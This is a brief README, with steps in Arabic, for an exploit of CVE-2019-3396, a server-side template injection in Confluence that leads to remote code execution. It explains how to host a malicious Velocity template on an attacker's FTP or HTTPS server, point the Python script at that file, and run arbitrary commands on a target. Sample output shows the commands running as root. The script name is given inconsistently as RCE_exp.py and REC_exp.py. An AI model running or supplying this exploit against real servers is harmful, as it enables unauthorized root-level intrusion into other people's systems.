CVE-2019-3396_EXP

CVE-2019-3396 confluence SSTI RCE

1、ضع cmd.vm على موقعك (يجب استخدام ftp أو https؛ http لا يعمل)
2、عدّل RCE_exp.py، وغيّر السطر: filename = 'ftp://1.1.1.1/cmd.vm' (python -m pyftpdlib -p 21)
3、شغّل: python REC_exp.py http://test.wiki_test.cc:8080 "whoami"

$ python REC_exp.py http://test.wiki_test.cc:8080 "id"
uid=0(root) gid=0(root) groups=0(root)